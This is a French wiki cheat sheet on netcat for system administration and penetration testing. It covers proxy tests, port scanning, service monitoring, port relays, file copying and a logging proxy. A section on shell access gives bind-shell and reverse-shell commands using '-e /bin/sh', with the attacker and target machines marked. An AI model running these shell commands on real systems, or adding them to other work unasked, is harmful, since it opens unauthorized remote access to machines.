Netcat

Netcat est un outil Unix/Linux qui permet d'ouvrir des sockets réseaux. La commande netcat est souvent appelée par “nc”.

Test d'un proxy avec Netcat

linux$ nc 127.0.0.1 8000
CONNECT www.google.fr HTTP/1.0

HTTP/1.0 200 Connection established

Netcat en scanner TCP

Windows

nc.exe -n -vv -w3 192.168.1.50 1-1024

Linux

nc -v -z -w2 192.168.2.201 1-150
[...]
 
nc -vv -r -z 192.168.2.201 22 80-443 8080
[...]

  • -v : verbose
  • -z : option pour le scan de ports
  • -r : randomize le port source
  • -w2 : timeout
  • 1-150 : intervalle des ports à scanner / 22 80-443 8080 : autre notion
Références

Netcat teste un service distant lors d'un pentest

while (true); do nc -vv -z -w3 192.168.1.1 80 > /dev/null && date; sleep 1 ;done

while (true); do nc -vv -z -w3 192.168.1.1 22 > /dev/null && echo -e "\x07"; sleep 1; done

while `nc -vv -z -w3 192.168.1.1 22 > /dev/null`; do echo "Service OK"; sleep 1; done; echo "Service Dead"; echo -e "\x07"

Netcat pour donner un access shell

Classique

Machine Cible :

nc -v -l -p 2222 -e /bin/sh

Machine Attaquante :

nc <ip_machine_cible> 2222
Attention plusieurs commandes ne fonctionnent pas :

  • vi
  • emacs
  • top
  • more

Aucun tty ne sera utilisé pour cette access shell !

Reverse

Machine Attaquante :

nc -v -l -p 2222

Machine Cible :

nc <ip_machine_cible> 2222 -e /bin/sh

Aucun tty ne sera utilisé pour cette access shell !

Netcat pour rediriger vers une autre cible

Simple

mknod backpipe p

nc -l -p 2222 0<backpipe | nc 127.0.0.1 22 1>backpipe

# ou nc -l -p 2222 0<backpipe | nc 127.0.0.1 22 | tee backpipe

  • 0< : Connecter l'input standard du 1er nc avec le backpipe
  • | : Forward l'output standard du 1er nc vers l'input standard du 2éme nc
  • 1> : Connecter l'output standard du 2éme nc avec le backpipe

Étapes et sens du flux réseau :
Aller : nc listener ⇒ | ⇒ nc client
Retour : nc client ⇒ 1>backpipe0<backpipe ⇒ nc listener

Tracer dans un fichier (Proxy)

On trace dans 2 fichiers les entrées/sorties → Proxy super simple

mknod backpipe p

nc -l -p 80 0<backpipe | tee -a inflow | nc localhost 3121 | tee -a outflow 1>backpipe

  • tee : Permet de lire depuis l'input standard puis d'écrire vers un fichier + vers l'output standard

Netcat pour copier un fichier

Netcat en écoute ⇒ Destination de la copie :

nc -n -l -p 2222 > /tmp/fic.txt

Netcat en client ⇒ Source de la copie :

nc -v -n -w3 10.0.0.1 2222 < fic.txt

Netcat en tant que Serveur WEB

Netcat pour rediriger des ports

Netcat en tant que Serveur proxy

Ressources

 
asr/sys/netcat.txt · Dernière modification: 2016/03/29 23:33 (édition externe)
 
Recent changes RSS feed Donate Powered by PHP Valid XHTML 1.0 Valid CSS Driven by DokuWiki